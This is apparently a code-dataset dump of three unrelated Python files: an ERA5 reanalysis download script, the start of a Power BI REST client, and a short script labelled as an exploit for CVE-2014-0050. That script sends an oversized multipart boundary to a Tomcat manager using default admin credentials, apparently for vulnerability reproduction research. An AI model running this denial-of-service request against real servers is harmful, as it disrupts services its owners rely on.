| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 11
|
3b90e682b63e1eeb1a8512a3b8928dea3cf3ae05
| 4,707
|
py
|
Python
|
Bugs/Java/vuls4j/projects/tomcat/tomcat_exploit.py
|
Programming-Systems-Lab/bug-collection
|
bd13bcb505b0b0c33d8522fc00b5f4dc25eb40ba
|
[
"MIT"
] | null | null | null |
Bugs/Java/vuls4j/projects/tomcat/tomcat_exploit.py
|
Programming-Systems-Lab/bug-collection
|
bd13bcb505b0b0c33d8522fc00b5f4dc25eb40ba
|
[
"MIT"
] | null | null | null |
Bugs/Java/vuls4j/projects/tomcat/tomcat_exploit.py
|
Programming-Systems-Lab/bug-collection
|
bd13bcb505b0b0c33d8522fc00b5f4dc25eb40ba
|
[
"MIT"
] | null | null | null |
#exploit for CVE-2014-0050
import sh
def exploit(url, username, password):
#4092 characters
boundary = "aasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfasdfasdfasdfasdfadsfasdfdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdff"
content_type = "Content-Type: multipart/form-data; boundary="
#file of 4097 characters
file = "/Users/Winston/Desktop/data.txt"
sh.curl(url, anyauth = True, X = "POST", H = content_type + boundary, T = file, u = "%s:%s" %(username, password))
def main():
#set the usename and password in TOMCAT_HOME/conf/tomcat-users.xml
username = "admin"
password = "admin"
exploit("http://localhost:8080/manager/html/", username, password)
if __name__ == "__main__":
main()
| 235.35
| 4,109
| 0.956235
| 82
| 4,707
| 54.756098
| 0.658537
| 0.01069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004357
| 0.024857
| 4,707
| 20
| 4,110
| 235.35
| 0.973856
| 0.027194
| 0
| 0
| 0
| 0
| 0.92417
| 0.901005
| 0
| 1
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.333333
| 0.083333
| 0
| 0.25
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
3b9f9ae20c8722214e30f8e469052ae6b3e7fdc6
| 21,391
|
py
|
Python
|
.ipynb_checkpoints/EC_data-checkpoint.py
|
jkcm/lagrangian-cset
|
532526cbf9c3c788bf1db597b9e7a7e4ad799856
|
[
"BSD-3-Clause"
] | null | null | null |
.ipynb_checkpoints/EC_data-checkpoint.py
|
jkcm/lagrangian-cset
|
532526cbf9c3c788bf1db597b9e7a7e4ad799856
|
[
"BSD-3-Clause"
] | null | null | null |
.ipynb_checkpoints/EC_data-checkpoint.py
|
jkcm/lagrangian-cset
|
532526cbf9c3c788bf1db597b9e7a7e4ad799856
|
[
"BSD-3-Clause"
] | 1
|
2020-03-30T10:53:15.000Z
|
2020-03-30T10:53:15.000Z
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 9 14:17:57 2017
@author: jkcm
"""
from ecmwfapi import ECMWFDataServer
import datetime as dt
from LoopTimer import LoopTimer
import cdsapi
def get_flux_forecast_data(date):
server = ECMWFDataServer()
server.retrieve({
"class": "ea",
"dataset": "era5",
"date": "2015-07-01/to/2015-08-31",
"expver": "1",
"levtype": "sfc",
"param": "33.235/34.235/146.128/147.128",
"step": "0/1/2/3/4/5/6/7/8/9/10/11",
"stream": "oper",
"grid": "0.3/0.3",
"area": "45/-160/15/-115",
"time": "06:00:00/18:00:00",
"type": "fc",
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/sfcflux/ERA5.sfcflux.NEP.{}.nc",
})
def get_flux_4dvar_data(date):
datestr = dt.datetime.strftime(date, '%Y-%m-%d')
# datestr = 'all'
server = ECMWFDataServer()
server.retrieve({
"class": "ea",
"dataset": "era5",
"date": datestr,
# "date": "2015-07-01/to/2015-08-31",
"expver": "1",
"levtype": "sfc",
"param": "33.235/34.235/146.128/147.128",
"step": "0/1/2/3/4/5/6/7/8/9/10/11",
"stream": "oper",
"grid": "0.3/0.3",
"area": "45/-160/15/-115",
"time": "09:00:00/21:00:00",
"type": "4v",
"format": "netcdf",
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ERA5.4Dvarflux.NEP.{}.nc".format(datestr),
})
def get_z_ERA5_data():
server = ECMWFDataServer()
server.retrieve({
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "oper",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "pl", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "129.128",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"levelist": "1/2/3/5/7/10/20/30/50/70/100/125/150/175/200/225/250/300/350/400/450/500/550/600/650/700/750/775/800/825/850/875/900/925/950/975/1000",
"date": "2015-07-01/to/2015-08-31",
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/z/ERA5.z.NEP.{}.nc",
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_isabel_ERA5_data():
server = ECMWFDataServer()
server.retrieve({
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "oper",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "pl", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "75.128/246.128/248.128",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"levelist": "1/2/3/5/7/10/20/30/50/70/100/125/150/175/200/225/250/300/350/400/450/500/550/600/650/700/750/775/800/825/850/875/900/925/950/975/1000",
"date": "2015-07-01/to/2015-08-31",
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/isabel/ERA5.isabel.NEP.{}.nc",
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_sfc_ERA5_Data(date):
datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "oper",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "sfc", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "34.128/134.128/164.128/172.128/186.128/187.128/188.128",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ERA5.sfc.NEP.{}.nc".format(datestr),
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_ensemble_sfc_ERA5_Data(date):
datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"number": "0/1/2/3/4/5/6/7/8/9",
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "enda",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "sfc", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "34.128/134.128/164.128/172.128/186.128/187.128/188.128",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ensemble/ERA5.sfc.NEP.{}.nc".format(datestr),
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_sfc_flux_data(date):
datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "oper",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "sfc", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "231.128/232.128",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ERA5.flux.NEP.{}.nc".format(datestr),
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_pressure_level_ERA5_Data(date, levels):
datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"stream": "oper",
# can be "oper", "wave", etcetera; see ERA5 catalogue (http://apps.ecmwf.int/data-catalogues/era5 ) and ERA5 documentation (https://software.ecmwf.int/wiki/display/CKB/ERA5+data+documentation )
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "pl", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": "u/v/w/r/z/t/o3",
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"levelist": levels,
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/01:00:00/02:00:00/03:00:00/04:00:00/05:00:00/06:00:00/07:00:00/08:00:00/09:00:00/10:00:00/11:00:00/12:00:00/13:00:00/14:00:00/15:00:00/16:00:00/17:00:00/18:00:00/19:00:00/20:00:00/21:00:00/22:00:00/23:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ERA5.pres.NEP.{}.nc".format(datestr),
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
def get_cds_ensemble_pressure_level_ERA5_data(namestr, datestr, levels, param):
c = cdsapi.Client()
c.retrieve('reanalysis-era5-complete', {
'class': 'ea',
'date': datestr,
'expver': '1',
'levelist': levels,
'levtype': 'pl',
'number': '0/1/2/3/4/5/6/7/8/9',
'param': param,
'stream': 'enda',
"time": "00:00:00/03:00:00/06:00:00/09:00:00/12:00:00/15:00:00/18:00:00/21:00:00",
'type': 'an',
"format": "netcdf", #added
"grid": "0.3/0.3", #added
"area": "45/-160/15/-115", #added
#"step": "0", #maybe?
}, "/home/disk/eos4/jkcm/Data/CSET/ERA5/ensemble/ERA5.enda.pres.NEP.temp.{}.nc".format(namestr))
def get_ensemble_pressure_level_ERA5_Data(namestr, datestr, levels, param):
# datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"number": "0/1/2/3/4/5/6/7/8/9",
"stream": "enda",
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "pl", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": param, # Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"levelist": levels,
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/03:00:00/06:00:00/09:00:00/12:00:00/15:00:00/18:00:00/21:00:00",
"step": "0",
"grid": "0.3/0.3",
"area": "45/-160/15/-115",
"format": "netcdf",
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ensemble/ERA5.enda.pres.NEP.temp.{}.nc".format(namestr),
})
def get_ensemble_sfc_ERA5_Data(namestr, datestr, param):
# datestr = dt.datetime.strftime(date, '%Y-%m-%d')
server = ECMWFDataServer()
server.retrieve({
"number": "0/1/2/3/4/5/6/7/8/9",
"stream": "enda",
"class": "ea", # Do not change
"dataset": "era5", # Do not change
"expver": "1", # Do not change
"type": "an", # can be an (Analysis) or fc (forecast) or 4v (4D variational analysis)
"levtype": "sfc", # can be "sfc", "pl", "ml", etcetera; see ERA5 documentation
"param": param,
# Parameters you want to retrieve. For available parameters see the ERA5 documentation. Specify here using shortName or paramID, and separated by '/'.
"date": datestr, # Set a single date as "YYYY-MM-DD" or a range as "YYYY-MM-DD/to/YYYY-MM-DD".
"time": "00:00:00/03:00:00/06:00:00/09:00:00/12:00:00/15:00:00/18:00:00/21:00:00",
# If above you set "type":"an", "time" is the time of analysis. If above you set "type":"fc", "time" is the initialisation time of the forecast.
"step": "0",
# The forecast step. If above you set "type":"an", set "step":"0". If above you set "type":"fc", set "step" > 0.
"grid": "0.3/0.3",
# Optional. The horizontal resolution in decimal degrees. If not set, the archived grid as specified in the data documentation is used.
"area": "45/-160/15/-115",
# Optional. Subset (clip) to an area. Specify as N/W/S/E in Geographic lat/long degrees. Southern latitudes and western longitudes must be
# given as negative numbers. Requires "grid" to be set to a regular grid, e.g. "0.3/0.3".
"format": "netcdf",
# Optional. Output in NetCDF format. Requires that you also specify 'grid'. If not set, data is delivered in GRIB format, as archived.
"target": "/home/disk/eos4/jkcm/Data/CSET/ERA5/ensemble/ERA5.enda.sfc.NEP.{}.nc".format(namestr),
# Change this to the desired output path and file name, e.g. "data1.nc" or "./data/data1.grib". The default path is the current working directory.
})
if __name__ == "__main__":
dates = [dt.datetime(2015, 7, 1) + dt.timedelta(days=i) for i in range(62)]
# dates = [dt.datetime(2015, 7, 17)]# + dt.timedelta(days=i) for i in range(35)]
# rf06_dates = [dt.datetime(2015, 7, 17) + dt.timedelta(days=i) for i in range(4)]
# rf10_dates = [dt.datetime(2015, 7, 27) + dt.timedelta(days=i) for i in range(4)]
# dates = rf06_dates + rf10_dates
bl_levels = "700/750/775/800/825/850/875/900/925/950/975/1000"
all_levels = "1/2/3/5/7/10/20/30/50/70/100/125/150/175/200/225/250/300/350/400/450/500/550/600/650/700/750/775/800/825/850/875/900/925/950/975/1000"
all_param = "u/v/w/r/z/t/o3"
dates = {'2015-07': "2015-07-01/to/2015-07-31",
'2015-08': "2015-08-01/to/2015-08-31"}
lt = LoopTimer(len(dates))
for k,v in dates.items():
lt.update()
# get_ensemble_pressure_level_ERA5_Data(namestr=k, datestr=v, levels=bl_levels, param="130.128")
get_cds_ensemble_pressure_level_ERA5_data(namestr=k, datestr=v, levels=bl_levels, param="130.128/129.128")
# get_flux_4dvar_data(i)
# get_ensemble_pressure_level_ERA5_Data(namestr=k, datestr=v, levels=bl_levels, param="135.128/157.128")
# get_ensemble_sfc_ERA5_Data(namestr=k, datestr=v, param="134.128")
# # get_pressure_level_ERA5_Data(i, all_levels)
# # get_ensemble_sfc_ERA5_Data(i)
# get_sfc_flux_data(i)
#get_isabel_ERA5_data()
| 60.597734
| 234
| 0.626712
| 3,523
| 21,391
| 3.777746
| 0.083452
| 0.054399
| 0.021038
| 0.02735
| 0.942821
| 0.930423
| 0.924262
| 0.923886
| 0.917049
| 0.899166
| 0
| 0.125639
| 0.204479
| 21,391
| 353
| 235
| 60.597734
| 0.656461
| 0.534898
| 0
| 0.748879
| 0
| 0.125561
| 0.465538
| 0.30781
| 0
| 0
| 0
| 0
| 0
| 1
| 0.049327
| false
| 0
| 0.017937
| 0
| 0.067265
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8ec49b2056a087594e6b72886b0aab2e7e317071
| 7,906
|
py
|
Python
|
pbi_rest_client/dataflows.py
|
ChristianPresley/power-bi-python-api
|
f1bbb11986cfdabfd2ad0061e34fe74339a7dfe0
|
[
"MS-PL"
] | null | null | null |
pbi_rest_client/dataflows.py
|
ChristianPresley/power-bi-python-api
|
f1bbb11986cfdabfd2ad0061e34fe74339a7dfe0
|
[
"MS-PL"
] | null | null | null |
pbi_rest_client/dataflows.py
|
ChristianPresley/power-bi-python-api
|
f1bbb11986cfdabfd2ad0061e34fe74339a7dfe0
|
[
"MS-PL"
] | null | null | null |
#!/usr/bin/env python
import logging
import json
import requests
import os
from typing import List
from .utils.utils import Utils
from .workspaces import Workspaces
utils = Utils()
class Dataflows:
def __init__(self, client):
self.client = client
self.workspaces = Workspaces(client)
self.dataflow = None
self.dataflow_json = None
self.dataflows = None
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflow-storage-accounts/get-dataflow-storage-accounts
def get_dataflow_storage_accounts(self) -> List:
self.client.check_token_expiration()
url = self.client.base_url + "dataflowStorageAccounts/"
response = requests.get(url, headers = self.client.json_headers)
if response.status_code == self.client.http_ok_code:
logging.info("Successfully retrieved dataflows.")
self.dataflows = response.json()['value']
return self.dataflows
else:
logging.error("Failed to retrieve pipelines.")
self.client.force_raise_http_error(response)
# https://docs.microsoft.com/en-us/rest/api/power-bi/dataflows/get-dataflows
